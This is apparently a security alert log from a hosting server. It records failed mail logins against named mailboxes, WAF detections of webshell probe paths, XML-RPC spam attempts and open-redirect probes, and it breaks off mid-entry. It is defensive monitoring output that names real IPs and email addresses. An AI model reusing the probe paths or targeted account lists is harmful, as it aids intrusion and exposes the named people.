2026-01-30 18:04:49 dovecot_login authenticator failed for H=([140.84.188.140]) [140.84.188.140]:53822: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.227.142
country_id: 1269750
description:
2026-01-30 18:04:22 dovecot_login authenticator failed for H=([128.185.227.142]) [128.185.227.142]:55724: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.117
country_id: 99237
description:
2026-01-30 18:04:59 dovecot_login authenticator failed for H=([65.20.167.117]) [65.20.167.117]:40361: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-01-30 18:05:57 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.104.50.190]:41780: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.158.138.179
country_id: 1269750
description:
2026-01-30 18:06:15 dovecot_login authenticator failed for H=([103.158.138.179]) [103.158.138.179]:46580: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/finder/Tests/Fixtures/A/B/C/abc.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 18:06:30 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:45728: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 18:06:07 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:60385: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.13.194.123
country_id: 1282988
domain: masaakisb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:test01.masaakisb.com||ServerName:masaakisb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.172.147.190
country_id: 1269750
description:
2026-01-30 18:07:34 dovecot_login authenticator failed for H=([110.172.147.190]) [110.172.147.190]:58743: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-01-30 18:07:18 dovecot_login authenticator failed for H=([197.219.208.58]) [197.219.208.58]:58506: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 18:09:44 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:44526: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 18:09:52 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:50858: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-01-30 18:09:44 dovecot_login authenticator failed for H=(kendek.com) [61.50.119.110]:63008: 535 Incorrect authentication data (set_id=nologin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.219.26.108
country_id: 953987
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/refrence.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.188.155.102
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=175050 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.60.186
country_id: 1819730
description:
2026-01-30 18:10:14 dovecot_login authenticator failed for H=42-200-60-186.static.imsbiz.com [42.200.60.186]:52036: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.49.166
country_id: 1269750
description:
2026-01-30 18:10:02 dovecot_login authenticator failed for H=([182.95.49.166]) [182.95.49.166]:46278: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.231.34
country_id: 1269750
description:
2026-01-30 18:10:37 dovecot_login authenticator failed for H=([203.145.159.97]) [182.95.231.34]:48094: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.17.38
country_id: 3469034
description:
2026-01-30 18:11:00 dovecot_login authenticator failed for H=([186.239.246.145]) [187.8.17.38]:40477: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-01-30 18:10:08 dovecot_login authenticator failed for H=(kendek.com) [61.50.119.110]:11544: 535 Incorrect authentication data (set_id=postmaster@kendek.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.94.245
country_id: 1562822
domain: u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/u-net.com.my/service-aircond HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 18:10:48 H=(localhost.localdomain) [45.150.192.143]:57850 F=<info@kapkenya.org> temporarily rejected RCPT <astpkg@astlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.98
country_id: 1269750
description:
2026-01-30 18:11:44 dovecot_login authenticator failed for H=([128.185.253.98]) [128.185.253.98]:40940: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.117.0.253
country_id: 1835841
description:
2026-01-30 18:11:33 dovecot_login authenticator failed for H=([222.117.0.253]) [222.117.0.253]:34818: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 18:11:34 H=(localhost.localdomain) [45.150.192.143]:58850 F=<info@kapkenya.org> temporarily rejected RCPT <celine@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 4.35.66.245
country_id: 6252001
description:
2026-01-30 18:12:59 dovecot_login authenticator failed for H=([4.35.66.245]) [4.35.66.245]:41093: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.218.101
country_id: 1269750
description:
2026-01-30 18:12:14 dovecot_login authenticator failed for H=([182.79.218.101]) [182.79.218.101]:51597: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.58.62
country_id: 1269750
description:
2026-01-30 18:12:06 dovecot_login authenticator failed for H=([125.19.70.49]) [182.95.58.62]:57900: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-30 18:12:20 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:36380: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.27.30
country_id: 1668284
description:
2026-01-30 18:14:01 dovecot_login authenticator failed for H=111-70-27-30.emome-ip.hinet.net [111.70.27.30]:41261: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.107.57
country_id: 1814991
description:
2026-01-30 18:14:29 dovecot_login authenticator failed for H=([36.135.107.57]) [36.135.107.57]:56300: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 18:14:38 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 18:15:23 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:44060: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-30 18:15:07 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:60951: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.123.219.82
country_id: 6252001
description:
2026-01-30 18:15:52 dovecot_login authenticator failed for H=ool-457bdb52.dyn.optonline.net [69.123.219.82]:46957: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-30 18:15:15 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:56722: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 18:15:22 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.32.49
country_id: 1269750
description:
2026-01-30 18:15:40 dovecot_plain authenticator failed for H=(LF21D45A3WC8) [103.174.32.49]:55337: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.128.202
country_id: 6252001
description:
2026-01-30 18:16:57 dovecot_login authenticator failed for H=([192.34.128.202]) [192.34.128.202]:58622: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 18:16:16 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess3987555330/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.185.77
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=934113 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-30 18:17:37 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:46752: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.63.7.250
country_id: 2921044
description:
2026-01-30 18:18:55 dovecot_login authenticator failed for H=p5b3f07fa.dip0.t-ipconnect.de [91.63.7.250]:64604: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.181
country_id: 1668284
description:
2026-01-30 18:18:13 dovecot_login authenticator failed for H=111-70-49-181.emome-ip.hinet.net [111.70.49.181]:56870: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 18:18:26 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:60593: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.12.170
country_id: 1269750
description:
2026-01-30 18:18:45 dovecot_login authenticator failed for H=([103.171.12.170]) [103.171.12.170]:58145: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.107.193
country_id: 1814991
description:
2026-01-30 18:18:51 dovecot_login authenticator failed for H=([220.180.107.193]) [220.180.107.193]:52781: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.121.1.156
country_id: 6252001
description:
2026-01-30 18:18:33 dovecot_login authenticator failed for H=([24.121.1.156]) [24.121.1.156]:54041: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-30 18:18:52 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:43880: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 18:19:51 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:47380: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.146.71.107
country_id: 2542007
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/supyogamalaysia-payment.htm HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.230.86.50
country_id: 6252001
description:
2026-01-30 18:19:51 dovecot_plain authenticator failed for H=c-73-230-86-50.hsd1.pa.comcast.net (exibection) [73.230.86.50]:50148: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.200.229.33
country_id: 1835841
description:
2026-01-30 18:19:42 dovecot_login authenticator failed for H=([119.200.229.33]) [119.200.229.33]:37841: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-30 18:20:58 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:34408: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:20:28 dovecot_login authenticator failed for H=(jCbxJGHmOJ) [178.16.54.138]:54890: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.90.101.176
country_id: 2328926
description:
[2026-01-30 18:20:59 +0800] info [webmaild] 102.90.101.176 - account@hmz.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.214.165.6
country_id: 6252001
description:
2026-01-30 18:20:15 dovecot_login authenticator failed for H=(ADMIN) [181.214.165.6]:9593: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.18.137
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/doctrine/common/UPGRADE_TO_2_2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.134.27.159
country_id: 1814991
description:
2026-01-30 18:20:19 dovecot_login authenticator failed for H=([124.134.27.159]) [124.134.27.159]:37208: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/Fixtures/common.inc||User:visoftcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Tests/fixtures/resourcebundle/dat/resources.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.130.80
country_id: 1269750
description:
2026-01-30 18:21:08 dovecot_login authenticator failed for H=(80.130.83.103.static.rapidnet.in) [103.83.130.80]:59115: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 18:21:52 H=(localhost.localdomain) [45.150.192.143]:49362 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.72.92.174
country_id: 1814991
description:
2026-01-30 18:21:56 dovecot_login authenticator failed for H=([125.72.92.174]) [125.72.92.174]:58332: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:21:19 dovecot_login authenticator failed for H=(gZOkioBU) [178.16.54.138]:55945: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:22:27 dovecot_login authenticator failed for H=(6sUiSo9) [178.16.54.138]:62120: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 18:22:09 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:38636: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.150.246
country_id: 2963597
domain: www.manforce.net
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/manfotp3/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:23:36 dovecot_login authenticator failed for H=(gbMVOMd) [178.16.54.138]:54037: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.210.246.54
country_id: 289688
description:
2026-01-30 18:24:41 dovecot_login authenticator failed for H=([37.210.246.54]) [37.210.246.54]:48948: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:24:13 dovecot_login authenticator failed for H=(z1iJJF3) [178.16.54.138]:63989: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:25:22 dovecot_login authenticator failed for H=(sDUm3V) [178.16.54.138]:55450: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.179.120.26
country_id: 1814991
description:
2026-01-30 18:25:18 dovecot_login authenticator failed for H=([220.179.120.26]) [220.179.120.26]:57697: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.213.82.168
country_id: 1269750
domain: medinova.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:32813.medinova.com.my||ServerName:medinova.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:02dd31a7fa6ecefe40a0e5d980d8fd091de962a7||Title:0x3875ba4c||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.197.188
country_id: 453733
description:
2026-01-30 18:25:23 dovecot_login authenticator failed for H=188-197-29-85.dyn.estpak.ee [85.29.197.188]:51654: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.242.34.72
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&sub=12 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.140.179.150
country_id: 2542007
description:
2026-01-30 18:26:01 dovecot_plain authenticator failed for H=([192.168.1.36]) [41.140.179.150]:56511: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:26:23 dovecot_login authenticator failed for H=(IiIgQk9) [178.16.54.138]:57071: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:27:35 dovecot_login authenticator failed for H=(5D5yip0X1) [178.16.54.138]:59292: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:28:08 dovecot_login authenticator failed for H=(W6FPtM778) [178.16.54.138]:59101: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-30 18:28:47 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:62624: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.169.224.27
country_id: 6252001
description:
2026-01-30 18:29:46 dovecot_plain authenticator failed for H=c-174-169-224-27.hsd1.vt.comcast.net (persherma) [174.169.224.27]:43582: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:29:17 dovecot_login authenticator failed for H=(TOtO6m) [178.16.54.138]:62768: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Tests/fixtures/resourcebundle/corrupted/resources.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:30:27 dovecot_login authenticator failed for H=(pDVZYw9Rw) [178.16.54.138]:54348: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-01-30 18:31:25 dovecot_login authenticator failed for H=([220.67.139.254]) [221.145.5.14]:54926: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:31:45 dovecot_login authenticator failed for H=(V5JjYIHi) [178.16.54.138]:50692: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.146.144
country_id: 1819730
description:
2026-01-30 18:31:35 dovecot_login authenticator failed for H=(m121-202-146-144.smartone.com) [121.202.146.144]:53744: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 124.88.225.193
country_id: 1814991
domain: www.kimmark.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; PHJ110 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.5735.197 Mobile Safari/537.36 aid/6589 bytedancewebview/d8a21c6||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 18:32:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58268: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:32:18 dovecot_login authenticator failed for H=(SAnwvFJJn) [178.16.54.138]:51398: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.110
country_id: 1269750
description:
2026-01-30 18:32:28 dovecot_login authenticator failed for H=([125.19.173.191]) [59.145.160.110]:41698: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.40.215.162
country_id: 3469034
description:
2026-01-30 18:33:16 dovecot_login authenticator failed for H=(152-237-221-1.user.vtal.net.br) [187.40.215.162]:49885: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.175.253.50
country_id: 2017370
description:
2026-01-30 18:33:24 dovecot_login authenticator failed for H=([89.175.253.50]) [89.175.253.50]:57384: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:33:28 dovecot_login authenticator failed for H=(unK3aIwm) [178.16.54.138]:51477: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 18:33:47 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:47524: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.165.36
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.161.94
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
